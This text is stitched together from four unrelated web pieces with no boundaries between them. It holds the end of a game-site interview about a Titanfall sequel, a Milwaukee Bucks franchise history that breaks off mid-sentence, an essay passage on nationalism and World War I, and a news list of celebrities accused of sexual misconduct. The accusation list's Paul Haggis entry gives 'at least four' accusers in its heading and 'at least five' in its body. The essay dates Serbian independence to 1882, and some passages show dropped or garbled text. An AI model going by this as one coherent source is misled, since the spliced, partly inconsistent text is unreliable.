GC: So it becomes mostly pilots at the beginning and then mostly Titans at the end?
TA: It depends on the mode. Modes have slightly different rules.
GC: Yeah, I guess the Bounty Hunt one was waved-based, so that made a big difference.
TA: Exactly. Some start where there’s not many Titans and then it escalates and by the end it’s all Titans. Others it’s just wave-based, it depends what mode it is.
VZ: He was asking previously about what we’ve done to give the game more depth in the player progression.
TA: Oh, wow! [laughs]
GC: If you could just sum up a year’s work in a sentence or two.
TA: [laughs] I think through the progression system we sort of give you a lot of different tracks, and a lot of different rewards at the end of the tracks that you can decide to go down. Like, if you want to focus on getting special camo for your weapon. If you use that weapon a lot you get rewards for that weapon and you’re gonna get cooler rewards that you can actually show off and say, ‘Hey, look. This guy is really good with this gun!’
And it’s the same sort of thing with Titans. There’s a deep progression system for that, and the overall player has an even deeper progression than that. So there’s all these different things that are coming at you, and things that you can go after, in a not overwhelming way, that gives the game so much to do.
GC: Are the burn cards still in it?
TA: There are some things in the game that were inspired by burn cards, but burn cards proper aren’t in the game right now.
GC: Can I customise my robot now? Can I paint him so he looks like my favourite Transformer?
MM: Yes!
TA: Well, not necessarily. You can’t customise them however you like, but we do have different camos, nose art… so you can do different pieces. [To Zampella] I don’t know how much you want to say?
VZ: Yeah, there’s a lot of camo and nose art and war paint customisation.
GC: That’s a very guarded look on your face! I wonder what you’re trying not to say.
VZ: [laughs] I’m trying to remember myself.
GC: Okay, well that’s great. Thanks very much for your time.
VZ: No problem, thank you.
Email gamecentral@ukmetro.co.uk, leave a comment below, and follow us on TwitterThe Milwaukee Bucks are an American professional basketball team based in Milwaukee, Wisconsin. The Bucks compete in the National Basketball Association (NBA) as a member club of the league's Eastern Conference Central Division. The team was founded in 1968 as an expansion team, and play at the Fiserv Forum. Former U.S. Senator Herb Kohl was the long-time owner of the team, but on April 16, 2014, a group led by billionaire hedge fund managers Wes Edens and Marc Lasry agreed to purchase a majority interest in the team from Kohl, a sale which was approved by the owners of the NBA and its Board of Governors one month later on May 16.[11] The team is managed by Jon Horst, the team's former director of basketball operations, who took over for John Hammond in May 2017.
The Bucks have won one league title (1971), two conference titles (1971 and 1974), and 13 division titles (1971–1974, 1976, 1980–1986, 2001). They have featured such notable players as Kareem Abdul-Jabbar, Sidney Moncrief, Oscar Robertson, Bob Dandridge, Bob Lanier, Glenn Robinson, Ray Allen, Sam Cassell, Junior Bridgeman, Michael Redd, Terry Cummings, Vin Baker, Jon McGlocklin, Marques Johnson, and Brian Winters.
Franchise history [ edit ]
Team creation [ edit ]
On January 22, 1968, the NBA awarded a franchise to Milwaukee Professional Sports and Services, Inc. (Milwaukee Pro), a group headed by Wesley Pavalon and Marvin Fishman. A fan contest was held to name the new team, with over 40,000 fans participating. While the most-voted fan entry was the Robins, named for Wisconsin's state bird, the contest judges went with the second-most popular choice, the Bucks, which was a reference to Wisconsin's official wild animal, the white-tailed deer. One fan, R. D. Trebilcox, was awarded a new car for his part in reasoning why the Bucks was a good nickname, saying that bucks were "spirited, good jumpers, fast and agile."[12] The Bucks marked a return of the NBA to Milwaukee after 13 years; their previous team, the Hawks, played for four seasons in the early 1950s before moving to St. Louis in 1955 (they are now based in Atlanta). In October, the Bucks played their first NBA regular-season game against the Chicago Bulls before a Milwaukee Arena crowd of 8,467. As is typical with expansion teams, the Bucks' first season (1968–69) was a struggle. Their first victory came in their sixth game as the Bucks beat the Detroit Pistons 134–118; they won only 26 more games in their first year. The Bucks' record that year earned them a coin flip against their expansion cousins, the Phoenix Suns, to see who would get the first pick in the upcoming draft. It was considered a foregone conclusion that the first pick in the draft would be Lew Alcindor of UCLA. The Bucks won the coin flip, but had to win a bidding war with the upstart American Basketball Association (ABA) to secure him.[13]
1969–1975: The Kareem Abdul-Jabbar era [ edit ]
During his six seasons with the Bucks, Abdul-Jabbar averaged 30.4 points and 15.3 rebounds per game.
Despite the Bucks' stroke of fortune in landing Alcindor, no one expected what happened in 1969–70. They finished with a 56–26 record – a nearly exact reversal of the previous year and good enough for the second-best record in the league, behind the New York Knicks. The 29-game improvement was the best in league history – a record which would stand for 10 years until the Boston Celtics jumped from 29 wins in 1978–79 to 61 in 1979–80 (the difference again being a highly touted rookie, Larry Bird). The Bucks defeated the Philadelphia 76ers in five games in the Eastern semifinals, only to be dispatched in five by the Knicks in the Eastern finals. Alcindor was a runaway selection for NBA Rookie of the Year.
Robertson as a member of the Milwaukee Bucks
The following season, the Bucks got an unexpected gift when they acquired Oscar Robertson, known as the "Big O", in a trade with the Cincinnati Royals. Subsequently, in only their third season, the Bucks finished 66–16 – the second-most wins in NBA history at the time, and still the most in franchise history. During the regular season, the Bucks recorded a then-NBA record 20-game win streak. They then steamrolled through the playoffs with a dominating 12–2 record, winning the NBA Championship on April 30, 1971, by sweeping the Baltimore Bullets in four games. By winning it all in only their third season, the Bucks became the fastest expansion team in the history of North American sports to win a championship. As of 2018, it remains the only title in team history.
The Bucks remained a powerhouse for the first half of the 1970s. In 1972, they recorded their third consecutive 60-win season, the first NBA team to do so. During the year, Lew Alcindor converted to Islam and changed his name to Kareem Abdul-Jabbar. Milwaukee beat the Warriors in the playoffs 4–1, but lost the conference finals to Los Angeles 4–2. Injuries resulted in an early 1973 playoff exit, but the Bucks were back in the 1974 NBA Finals against the Boston Celtics. In game six of the series, Abdul-Jabbar made his famous "sky hook" shot to end a classic double-overtime victory for the Bucks. The Bucks lost game seven and the series to the Celtics; as of 2018, they had not returned to the NBA Finals. As the 1974–1975 season began, Abdul-Jabbar suffered a hand injury and the team got off to a 3–13 start. After his return, other injuries befell Milwaukee, sending them to the bottom of their division with 38 wins and 44 losses. When the season ended, Abdul-Jabbar made the stunning announcement that he no longer wished to play for the Bucks, stating that he needed the big city, requesting a trade to either Los Angeles or New York City. The front office was unable to convince him otherwise and on June 16, 1975, the Bucks pulled a mega-trade by sending Abdul-Jabbar to the Lakers for Elmore Smith, Junior Bridgeman, Brian Winters and David Meyers. The trade triggered a series of events that led to a change in the team's ownership. The Bucks' largest stockholder, cable television executive Jim Fitzgerald, opposed the trade and wanted to sell his stock. Although Fitzgerald was the largest stockholder, he did not own enough stock to control the team.
1976–1979: Transition from Abdul-Jabbar [ edit ]
After the deal, the Bucks had several seasons in transition, but most of these players would go on to help the team. After being sold to Fitzgerald and several partners in 1976, the Bucks would enter into another era of greatness. It began with Don Nelson who became head coach in November 1976 after Larry Costello abruptly resigned. In the 1977 draft, the Bucks had three first round picks and drafted Kent Benson, Marques Johnson and Ernie Grunfeld. Johnson would become a staple in the Bucks for years to come. Rookie Sidney Moncrief made his debut in 1979. Don Nelson went on to win two NBA Coach of the Year awards with the Bucks, both during seasons where the team won division titles, in 1983 and 1985.
On October 18, 1977, Abdul-Jabbar, playing with the Lakers, punched Benson during a game. Abdul-Jabbar broke his hand in the process.[14] Benson had been aggressive under the boards and Abdul-Jabbar, a martial arts blackbelt, snapped. Abdul-Jabbar was fined $5,000 by the NBA and missed the next 20 games. Meanwhile, Benson never played as aggressively again and the Bucks traded him to the Detroit Pistons in 1980 for veteran center Bob Lanier to fill in the hole left by the departure of Abdul-Jabbar. They then won the Midwest Division title in 1980. After losing to Seattle in the semi-finals, the Bucks moved to the Eastern Conference's Central Division.
1979–1990: The Sidney Moncrief era [ edit ]
There, they would win six straight division titles and have.500 seasons for the next 11 years. Within those years, the Bucks became perennial Eastern Conference contenders, primarily due to the strong play of Moncrief, Paul Pressey, Craig Hodges and the arrival of Terry Cummings, Ricky Pierce and Jack Sikma from trades with the Los Angeles Clippers and Seattle SuperSonics respectively. However, the Bucks were unable to make it to the NBA Finals again, being eliminated by either the Celtics or the Sixers each time.
For much of the 1970s the Bucks colors were forest green, deep red and white. In 1978, they added various shades of green to the uniforms, and in 1985, they eliminated red from the team colors.
Noteworthy for the 1980s Bucks is that in 1983 they became the first, and until 2003, only team in NBA history to sweep the Boston Celtics in a best-of-seven playoff series, being the first team to meet and defeat Michael Jordan in a playoff series (during Jordan's rookie year), and hosting Julius Erving's final NBA game in the 1987 NBA Playoffs, which would see the Bucks advancing with a game five first-round playoff victory.
Ownership and arena changes [ edit ]
In 1985, Fitzgerald and his partners (one of which was Stuart Shadel) decided to sell the Bucks. He was having health problems and some of his investors wanted to get out. The Bucks were playing in the smallest arena in the NBA and the city did not want to build a new one. Milwaukee businessman and U.S. Senator Herb Kohl bought the Bucks after fears that out-of-town investors could buy the team and move it out of Milwaukee. Before the transaction was complete, Jane and Lloyd Pettit of Milwaukee announced they were donating a new arena called the Bradley Center. In 2003, after considering selling the team, Kohl announced that he had decided against selling the Bucks to Michael Jordan and would "continue to own them, improve them and commit them to remaining in Wisconsin".
On May 21, 2012, the naming rights of the Bradley Center were sold to the BMO Harris Bank division of Bank of Montreal, which had purchased the assets of M&I Bank a year earlier. After the heirs to the Bradley fortune gave their approval, the arena was renamed the "BMO Harris Bradley Center".[15]
1990–1998: Era of struggles [ edit ]
For most of the 1990s, the Bucks franchise was mired in mediocrity under coaches Frank Hamblen, Mike Dunleavy, and Chris Ford. From 1991 through 1998, the Bucks suffered seven straight seasons of losing records. During this period, the Bucks drafted Glenn Robinson with the first overall pick in the 1994 NBA Draft and in 1996 acquired rookie Ray Allen in a draft day trade with the Minnesota Timberwolves. Both players would have prominent roles in the Bucks resurgence during the late 1990s.
After the franchise's 25th anniversary in 1993, the Bucks overhauled their logo and uniforms. The colors were green, purple, and silver. The old logo, which featured a cartoonish deer, was replaced in favor of a more realistic one. The primary color scheme was altered as well, when red was supplanted by purple. Purple road uniforms replaced the former green away uniforms.
In 1997, the Bucks sent all-star forward Vin Baker in a three-team trade to the Seattle SuperSonics, and they would acquire Cleveland Cavaliers guard Terrell Brandon and forward Tyrone Hill. They also traded their 10th overall pick Danny Fortson, guard Johnny Newman, and center Joe Wolf to the Denver Nuggets for center Ervin Johnson. The 1997–98 Bucks finished their season with a 36-46 record, yet failing to make the playoffs for the seventh consecutive time.
1998–2003: Big Three era [ edit ]
After a decade of dwelling near the bottom of the NBA's standings, the Bucks looked to add credibility to their basketball operations. In 1998, the team hired veteran coach George Karl, who had reached the NBA Finals with the Seattle SuperSonics. Under the leadership of Karl and general manager Ernie Grunfeld, and with the steady addition of talent such as Tim Thomas and Sam Cassell, the Bucks developed into an elite team in the Eastern Conference. The nucleus of the "big three"—consisting of Ray Allen, Cassell, and Robinson—along with Karl, created a successful renaissance era in Milwaukee. The team reached its zenith in 2000–2001, winning 52 games and the Central Division title. The Bucks reached the 2001 Eastern Conference finals, which they lost in seven games to the 76ers.
After coming close to an NBA Finals appearance in 2001, the Bucks sought to make key off-season player additions to put the team in the NBA Finals. Behind the strong encouragement of George Karl, the Bucks acquired forward Anthony Mason at the beginning of the 2001–02 season. On paper, this move made the Bucks the team to beat in the East. However, Mason battled with his weight and had a tough time finding his role.[16] The Bucks, who at the season's midway point were the fourth seed in the Eastern Conference, began to free-fall. The collapse culminated with a loss to the Detroit Pistons on the final night of the season, which eliminated the Bucks from the playoffs and gave the division to the Pistons. The fallout created tension between the team's players and coach, resulting in a trade of Glenn Robinson to Atlanta (for Toni Kukoč and a 2003 first-round draft pick, used to select T. J. Ford).
During the 2002–03 season, the Bucks traded Ray Allen and backup Ronald "Flip" Murray to the Seattle SuperSonics for Gary Payton and Desmond Mason. The trade allowed emerging star Michael Redd to see increased playing time, and with Payton in the backcourt, they finished the season with a 42–40 record. The Bucks made the playoffs, but lost in the first round to the New Jersey Nets in six games. That offseason, team leaders Sam Cassell and Ervin Johnson were traded to Minnesota (for Joe Smith). Payton left via free agency, after playing only 28 games for the Bucks. Coach Karl's tenure also ended after the season. Within a one-year period, the team had lost the coach and players most responsible for the team's success during that era.
2003–2009: Michael Redd era [ edit ]
Michael Redd playing for the Bucks.
Under the direction of new general manager Larry Harris, the Bucks struggled with inconsistency and injury for the next six years. During that period, they reached the playoffs twice, first under coach Terry Porter in 2004 and then under Terry Stotts in 2006. In both instances, they were defeated by the Detroit Pistons in five games. During that period, Michael Redd blossomed into an all-star and a perimeter shooting threat, becoming the new "face of the franchise".[17] The Bucks received the first pick in the 2005 NBA draft, and used it to select center Andrew Bogut. Bogut struggled with both inconsistency and injuries in his first four years in Milwaukee, but over time became a key contributor to the Bucks.
In 2006, the team finished 40–42, last in their division, 24 games behind Detroit, but still made the playoffs in a season where every team in their division did. They were paired as the eighth seed versus the 64–18 conference-leading Pistons. They won game three at home, but lost the other four in a 4–1 series loss.
Also in March, the Bucks announced that they would not renew general manager Larry Harris's contract, which was to expire in June. In April, the Bucks hired John Hammond, formerly vice-president of basketball operations for the Pistons, as their new general manager,[18] giving the Milwaukee team a fresh director recently associated with success.
Also in April, the Bucks announced that Larry Krystkowiak, the third and final head coach hired by Larry Harris, had been relieved of his duties. Scott Skiles, formerly of the Chicago Bulls and Phoenix Suns, became head coach.
On June 26, 2008, the Bucks acquired Richard Jefferson from the New Jersey Nets in a trade for 2007 first-round draft pick Yi Jianlian and Bobby Simmons.[19] Later that day, the Bucks selected West Virginia's Joe Alexander with the eighth pick of the NBA draft. Alexander was the first Taiwanese-born player in the NBA.
2009–2013: Arrival of Brandon Jennings [ edit ]
Brandon Jennings
In the 2009 NBA draft, the Milwaukee Bucks selected point guard Brandon Jennings, who had not gone to college but played in Italy the previous year. Midway through the season, Bucks' general managerJohn Hammond traded Hakim Warrick to the Chicago Bulls, and acquired John Salmons. In a Bucks uniform, Salmons averaged a team-leading 19.9 points per game. The play of Jennings, along with the improvement of Andrew Bogut, the improved Ersan İlyasova, and the Salmons trade, catapulted the team to be a playoff contender. At the beginning of the season, the Bucks had low playoffs expectations; they had not been in four years.[20] In October, the Bucks quickly fell behind the Cleveland Cavaliers in the Central Division, but Milwaukee ultimately clinched a playoff berth on April 6, 2010, with a road win over the Chicago Bulls. It was during that time that the phrase "Fear the Deer" started, most likely by an ESPN commentator, and adopted on message boards and within Andrew Bogut's Squad 6.[21] The slogan rang well with Bucks fans, who started bringing signs with the phrase to games. The slogan became the team's battle cry in the NBA playoffs. The Bucks finished the regular season with a record of 46–36. The Bucks clinched the sixth seed and were eliminated in a seven-game series against the Atlanta Hawks. It was the farthest Milwaukee had gotten in the post-season since 2001. The Bucks short playoff run was also in part due to Bogut suffering a broken arm after making an awkward fall after a dunk in a late-season game, thus ending his season. In the 2010–11 season, the Bucks finished ninth in the Eastern Conference, just out of reach of the playoffs.[22]
With Bogut sidelined for the rest of the season and Stephen Jackson and head coach Scott Skiles not seeing eye-to-eye, the Bucks decided to trade both players. On March 13, 2012, 48 hours before the trade deadline, the Bucks traded Bogut and Jackson to the Golden State Warriors in exchange for Monta Ellis, Ekpe Udoh, and Kwame Brown.
Before the 2012 NBA draft, the Bucks sent a first-round pick, Shaun Livingston, Jon Brockman, and Jon Leuer to the Houston Rockets for a first-round pick and Samuel Dalembert. In the 2012 draft, the Bucks selected Doron Lamb and John Henson.
After 32 games of the 2012–13 season, the Bucks fired Skiles, their coach since 2008. Jim Boylan was announced as the interim head coach and led the Bucks to a 22–28 record to finish the season at 38–44. The Bucks qualified as the eighth seed, where they were quickly swept 4–0 by the reigning, and eventual, champions, the Miami Heat.
2013–present: Giannis Antetokounmpo era [ edit ]
Giannis Antetokounmpo
Jim Boylan was relieved of his coaching duties and ex-Atlanta Hawks coach Larry Drew was hired. On June 27, 2013, the Bucks chose Greek forward Giannis Antetokounmpo with the 15th overall pick of the 2013 NBA draft. They also traded the 43rd pick, Ricky Ledo, for Nate Wolters. In the 2013 free agency campaign, they brought in O. J. Mayo, Carlos Delfino, Zaza Pachulia, and Gary Neal as well as seeing Monta Ellis opt out of the final year of his contract. The Bucks also agreed to sign-and-trade Brandon Jennings to the Detroit Pistons in exchange for Brandon Knight, Khris Middleton, and Viacheslav Kravtsov. The Bucks later extended their contract with Larry Sanders with a four-year, $44 million contract and traded Ish Smith and Kravtsov to the Phoenix Suns for Caron Butler. By the start of the 2013–14 season, the Bucks only had four players on their roster from the previous season. The season itself was a struggle, as the Bucks finished with the worst record in the league at 15–67, the worst record in team history.
On April 16, 2014, long-time Bucks owner Herb Kohl agreed to sell a majority interest of the team to New York-based billionaires Wes Edens, and Marc Lasry for $550 million, but Kohl still retains a significant minority interest in the team. The new owners are expected to keep the team in Milwaukee, and are also expected to contribute $100 million toward building a new arena for the franchise.[23] Approval from the NBA Board of Governors came on May 15, a month later.[11][24]
On June 26, 2014, the Bucks chose Duke forward Jabari Parker with the second overall pick of the 2014 NBA draft.
On July 1, 2014, the Milwaukee Bucks secured the coaching rights for Jason Kidd from the Brooklyn Nets in exchange for two second-round draft picks in the 2015 NBA draft, and the 2019 NBA draft.[25] With the acquisition of Kidd, the team fired coach Larry Drew.
With the many changes to the Bucks in ownership, coaches, and acquiring new young players to rebuild the team, the Bucks' new slogan for the 2014–15 season became "Own The Future".
The Bucks' overall play vastly improved, and on December 26, the Bucks beat the Atlanta Hawks 107–77 for their 15th win, matching their win total of the previous season just 30 games in. The Bucks then went on a stretch from January 24 to February 20, where they went 10–2. The Bucks beat the Sacramento Kings on February 11 for their 30th win of the year, and also became the first ever NBA team to double their win total from the previous season before the All-Star Break.
Off the court, the Bucks made several changes to their roster, releasing Larry Sanders after several off-court incidents that led to multiple suspensions. On February 19, in the final minutes of the trade deadline, the Bucks became part of a 3-way deal with the Philadelphia 76ers and the Phoenix Suns, sending Brandon Knight, who was in the final year of his contract, to the Suns, and receiving reigning Rookie of the Year Michael Carter-Williams, Miles Plumlee, and Tyler Ennis. The Bucks also lost expected superstar Jabari Parker to a season-ending knee injury on December 15 in a game against the Phoenix Suns.
On January 25, the NBA passed the 'Jay-Z Rule', prohibiting ownership groups from consisting of more than 25 individuals, and also mandating that no ownership interest in a team be smaller than 1%. Both Lasry and Edens had sold chunks of Bucks ownership to family, friends, and prominent members of the Milwaukee community.[26]
The Bucks finished the 2014–15 season with a 41–41 record. Their 26-game improvement from the previous season was the second highest in franchise history. The Bucks made the 2015 NBA Playoffs as the 6th seed in the Eastern Conference, where they faced the Chicago Bulls in the first round, losing in six games.
On July 6, 2015, Bucks president Peter Feigin stated if public funding for a new arena falls through, the NBA may buy the team and move it to Las Vegas or Seattle. Current Bucks owners Wes Edens, Marc Lasry and Jamie Dinan combined with Herb Kohl to pledge $250 million for a new arena and sought a match from the public. Of those funds, $93 million would come from the Wisconsin Center District in the form of new debt on Milwaukee citizens. The district would not commence repaying the bonds until 13 years thereafter.[27]
On July 9, 2015, the Bucks confirmed their signing of center Greg Monroe to a three-year, $50 million contract. The Bucks also announced the club's re-signing of Khris Middleton to a five-year, $70 million contract.
On July 15, 2015, the future for the Bucks in Milwaukee was solidified after the Wisconsin State Senate voted 21–10 in favor of a proposal to use public money to help finance a new arena. The Bucks' new arena would replace the BMO Harris Bradley Center, which at the time was the third-oldest arena being used by an NBA team, behind Oracle Arena, and Madison Square Garden. The arena opened in 1988, and had been used by the Bucks for 27 consecutive seasons.[28][29]
On the court, the young roster of the Bucks went through a step backward, to a 33–49 record in the 2015–16 season, though Giannis Antetokounmpo had an encouraging stretch in the final half of the season, accumulating 5 triple-doubles.
On June 18, 2016, ground was broken for the Bucks' new arena.[30]
On September 19, 2016, the Bucks and Giannis Antetokounmpo agreed to a 4-year, $100 million contract extension. In addition, the team would add new young improvements to the roster in drafting Thon Maker and Malcolm Brogdon, and made trades to bring in Tony Snell and Michael Beasley. When the 2016–17 season began, the Bucks were without Khris Middleton, who suffered a torn hamstring during a practice. Even so, the Bucks remained competitive, staying around.500 for the first half of the season, with both Antetokounmpo and Jabari Parker leading the offense. While Parker missed making the All-Star team, Giannis was voted in as a starter, becoming the first Bucks All-Star since Michael Redd in 2004. In January, the Bucks slumped, though fans anticipated a turnaround with Middleton's return on February 8 against the Miami Heat. In the same game, however, Parker tore his ACL for the second time in 3 seasons, ending his season. Even so, Middleton's return still sparked a turnaround in March. During the month, the Bucks went 14-4, putting the team back in the thick of the playoff race. On April 8, 2017, the Bucks beat the Philadelphia 76ers 90–82, clinching the Bucks a playoff spot. On April 10, the Bucks beat the Charlotte Hornets 89–79 to clinch only the third winning season for the Bucks since 2001. The team finished the 2016-17 regular season with a 42-40 record. Giannis Antetokounmpo made history, becoming only the 5th player in NBA history to lead his team in all five major statistical categories, and was the first in NBA history to finish in the top-20 in the league in each category. The Bucks were the #6 seed in the Eastern Conference playoffs, and lost in the opening round to the Toronto Raptors, 4–2.
On May 23, 2017, Bucks general manager John Hammond stepped down to become general manager with the Orlando Magic.
On January 22, 2018, the Bucks fired Jason Kidd, who had a 23–22 record in the 2017–18 season. In Kidd’s three and a half seasons as head coach, the Bucks had a regular season record of 139–152 and reached the first round of the NBA playoffs in the 2014–15 and 2016–17 seasons.[31] Bucks' assistant coach Joe Prunty was announced as Kidd's replacement on an interim basis for the rest of the season.[32] Prunty finished the season with a 21–16 record, leading the Bucks to an overall 44-38 record, their best since the 2009-10 season. Seeded 7th in the 2017-18 Eastern Conference playoffs, the Bucks lost the series to the #2 seed Boston Celtics |
ideals and the inevitable triumph of democracy. In short, millions died because they believed their nations stood for something greater, and they were willing to fight for that.
The story begins in the 18th century, when a little-known soldier from Virginia named George Washington got into a scrap with French soldiers in what today is called Pittsburgh. The actions started the French and Indian War, which ended with Great Britain in control of vast new territories in Canada but in substantial debt. The Brits asked their American colonies to pay more in taxes, which sparked a long debate about the right of a free people to choose their own representatives. It ended with a war.
In declaring themselves free, however, the American colonists also declared that “all men were created equal.” The American cause spread to France, and soon, the French overthrew their own government and proclaimed liberty, equality, and fraternity. French nationalism became the new order of the day. No longer was a citizen identified as Corsican or Norman or Parisian — he was simply a Frenchman. The French Revolution, despite its high ideals, ended with the installation of a new emperor: Napoleon Bonaparte.
Napoleon spent the next few years conquering much of the European continent, and despite the fact that he was now a French monarch, he spread the ideals of the French Revolution. Napoleon created small républiques based on national identity, including the Kingdom of Italy, the Duchy of Warsaw, and the Confederation of the Rhine. For the first time, many of these peoples were coming to terms with the idea of ruling over themselves like the Americans and the French. The idea of nationalism came into vogue.
Most of these new nations were split up following Napoleon’s defeat and the Congress of Vienna. Reactionary forces were determined to maintain the status quo. That meant returning nations to their former masters and reinstalling the king of France. An example could not be set that it was OK to overthrow a monarch.
The Congress of Vienna’s goal was to maintain what they called the Balance of Power. Similar to the philosophy which kept world powers in a Cold War for half a century, the Balance of Power philosophy stated that no nation on the European continent should gain enough power to be able to crush the other Great Powers. The Great Powers, which included Great Britain, Russia, Prussia, Austria, and France, would act as checks on one another, with their strength being so equal that war between the Powers would be too deadly and costly. As an added bonus, the Powers would be expected to help one another out when any pesky ethnic minorities decided they wanted to pass their own laws.
That agreement came in handy in 1848, when numerous nationalistic groups tried to spark their own revolutions. The French were successful, ending the French monarchy and creating the French Second Republic, which was headed by Louis-Napoléon, who, of course, became emperor a few years later. Other nations were less successful.
The Austrian Empire faced the greatest threat from nationalism. The empire included Austrians, Hungarians, Slovenes, Slovaks, Ukrainians, Poles, Czechs, Croats, Romanians, Serbs, and Italians. Each ethnic group included those who hoped to either achieve autonomy or independence. Further complicating things were the Germans, who, like the Italians, were seeking national unification.
Within the next two and a half decades, both Italy and Germany would achieve their nationalist goals through war, bribery, and realpolitik. The unification stories of both nations were intertwined and helped to set the stage for World War I.
Italian unification began with the Congress of Vienna and ended in 1871, when Rome was named the capital of the united Italy. Rome was taken by the Kingdom of Italy in a victory against the Papal States when Louis-Napoléon, now known as Napoleon III, had to remove troops so that they could be used in a fight with Prussia. Italian unification set off a wave in Europe and created a sixth Great Power, offsetting the balance that was created in Vienna.
Prussian Chancellor Otto von Bismarck was no nationalist, but he understood power and understood how to manipulate the population. By provoking a war with Napoleon III and the Second French Empire, Bismarck knew he would be able to persuade the smaller German states to side with their brother countries. The Franco-Prussian War began and quickly ended with France’s humiliation. In the end, Napoleon III was removed from power, Alsace-Lorraine was ceded to Prussia, and the German states united under Prussia’s King Wilhelm to form the first German Empire. The loss of Alsace-Lorraine wounded France’s pride, and the country was determined to win the rematch, whenever that day came. The unification of Germany also offset Europe’s Balance of Power, upsetting Great Britain, which began an arms race with the Germans.
German unification was technically not complete, however. The Austrians were also a Germanic people, but as rulers of their own empire, which included many belligerent ethnic minorities, they had no desire to promote the nationalism that was making Germany strong. Still, their shared desire to avoid war with Russia led to the Dual Alliance of 1879.
Austria in the beginning of the 20th century was in the midst of political turmoil driven by nationalism. In 1882, Serbia proclaimed its independence from the Ottoman Empire, which, like the Austrian Empire, contained many disparate ethnic groups. Ethnic Serbs in Austria, as well as other Slavic peoples, desired to be rid of their Austrian overlords and wished to unite with their brother country. Austrian leadership was torn on how to handle Serbia, with Franz Ferdinand, ironically, maintaining a dovish stance toward the country. The biggest reason for Austria to stay out of Serbia, however, was that Russia considered itself to be the protector of this smaller Slavic country.
And thus the stage was fully set for a World War. Yugoslav nationalists, including Bosnians and Serbs, were sick of being dictated to by the Austrian aristocracy and the Congress of Vienna. A small group of militants chose to do as Washington would do and fight for their freedom. Ironically, they killed their best ally in the Austro-Hungarian Empire, and the aging monarch took action against a country that had been a thorn in his side.
By attempting to crush Serbia, Austria provoked Russia, which stirred German nationalism into a frenzy, causing the young empire to mobilize for war. Germany went to war again with France, which was looking for an excuse for a rematch to take back Alsace-Lorraine. France, which was yet again a Republic, had sided with the other prominent republic in Europe, Great Britain, in a Triple Entente with Russia. Thus, German aggression provoked Great Britain and Russia, which was already involved to protect Serbia. Oh, and Germany then signed a pact with the Ottoman Empire in the midst of this, bringing the dying empire of the east into the battle as well.
But what about the United States? Well, American nationalism has always been a bit different than that of their European counterparts. Even in the early 20th century, American ethnicity was not really clear-cut. Immigrants had come to the United States from all over Europe and were becoming part of a nation that already included immigrants from China and the descendants of slaves from Africa. American identity became less about a common history and more about a common philosophy.
That philosophy was democracy, and even though it’s debatable how truly democratic the United States has been at various points in history, it was something the country believed was worth fighting for. Thus, with France and Great Britain being pushed by the empires of Europe, it became necessary as an extension of American nationalism to join the war. After all, the world had to be made safe for democracy.
Sound familiar? Remember this the next time you are watching the World Cup and cheering for the U.S. of A., while CNN is explaining why we may be entering Iraq for the third time in as many decades. Nationalism can be a great thing, but it may also lead to the downfall of society. Appreciate what makes us different, but don’t let it divide us to the point of destruction. After all, the end of humanity is in no one’s national interest.
Kevin Hillman works in television and is equally capable of discussing 19th century tax law and Pokemon battle tactics. He lives on Planet Coruscant with an Ewok named Moo.Breaking News Emails Get breaking news alerts and special reports. The news and stories that matter, delivered weekday mornings.
Nov. 8, 2017, 9:50 PM GMT / Updated Jan. 10, 2018, 9:34 PM GMT / Source: Associated Press By Dan Corey
In early October, allegations surfaced that movie mogul Harvey Weinstein had sexually harassed or assaulted multiple women over decades.
The public condemnation of Weinstein has emboldened others to come forward with claims of sexual misconduct against celebrities — with studios, networks and major companies responding — in what some have dubbed the “Weinstein ripple effect.”
Here’s a list of high-profile men who have been accused of sexual harassment, assault or both in the wake of the Weinstein scandal:
James Rosen
Number of accusers: At least three
On Dec. 22, James Rosen quietly left his position as Fox News' chief Washington correspondent without giving any advance notice to colleagues, NPR reported.
At least three allegations of sexual harassment against Rosen have since surfaced, which may have led to his resignation.
One Fox News reporter told four colleagues that Rosen had groped her breast in a cab the winter after 9/11. The colleagues said she relayed the episode as a warning about Rosen.
Years later, a producer wu0said that Rosen sexually harassed her, but that Fox offered her a deal that would enable her to extend her stay in the United States if she kept quiet about the allegations.
In the spring of last year, a young female reporter told two colleagues that Rosen tried to forcibly kiss her twice in an elevator ride back to the office after lunch. Then he allegedly asked the reporter to keep her from making his approaches public and offered his help in getting more air time on Special Report, Bret Baier's nightly political newscast.
James Franco
Number of accusers: Unclear
James Franco speaks at the National Board of Review Annual Awards Gala on Jan. 9, 2018. Dimitrios Kambouris / Getty Images
Almost immediately after James Franco, 39, won a Golden Globe on Jan. 7, "The Breakfast Club" actress Ally Sheedy tweeted: "James Franco just won. Please never ever ask me why I left the film/tv business." (Franco directed Sheedy in a 2014 off-Broadway play.)
It was not exactly clear what Sheedy meant in her posts, but they quickly revived rumors of alleged sexual misconduct and inappropriate behavior. Sarah Tither-Kaplan, a filmmaker and actress, claimed in a tweet that Franco told her the "full nudity" he purportedly asked her to do for two of his movies was not exploitative because she had signed a contract. Violet Paley, another actress, claimed in a tweet that Franco once pushed her head toward his "exposed penis."
Franco denied accusations of sexual impropriety during a Jan. 9 appearance on "The Late Show" on CBS. "The things that I heard that were on Twitter are not accurate, but I completely support people coming out and being able to have a voice," Franco told host Stephen Colbert.
Paul Haggis
Number of accusers: At least four
Paul Haggis arrives at the Vanity Fair Oscars party in 2014. Danny Moloshok / Reuters file
Paul Haggis, 64, the Oscar-winning filmmaker who wrote "Million Dollar Baby" and directed "Crash," has been accused of sexual misconduct by at least five women. In a civil lawsuit, a publicist accuses Haggis of rape. That lawsuit inspired three other women to come forward with their own sexual misconduct accusations, including another publicist who claims he forced her to perform oral sex and then raped her.
Christine Lepera, an attorney for Haggis, said in a statement to The Associated Press: "He didn't rape anybody."
Ben Vereen
Number of accusers: At least two
Ben Vereen attends the 2017 Tony Awards. Mike Coppola / Getty Images for Tony Awards Pro
Broadway legend Ben Vereen, 71, has been accused of inappropriate sexual misconduct with cast members in a 2015 community theater production of the classic musical "Hair." The allegations, first reported by the blog OnStage and the New York Daily News, were leveled by two young actresses who starred in the show.
In a statement, Vereen apologized to the women for his "inappropriate conduct," adding: "While it was my intention to create an environment that replicated the themes of that musical during the rehearsal process, I have since come to understand that it is my conduct, not my intentions, which are relevant here."
Peter Martins
Number of accusers: At least five
Peter Martins in 2013. Evan Agostini / Invision/AP
Peter Martins, 71, the influential head of the New York City Ballet, has been accused by five dancers of verbal and physical abuse dating back to 1993, The New York Times reported. And in recent interviews with The Times, 24 women and men described what the newspaper called a "culture of intimidation" under Martins, a luminary on the New York artistic scene.
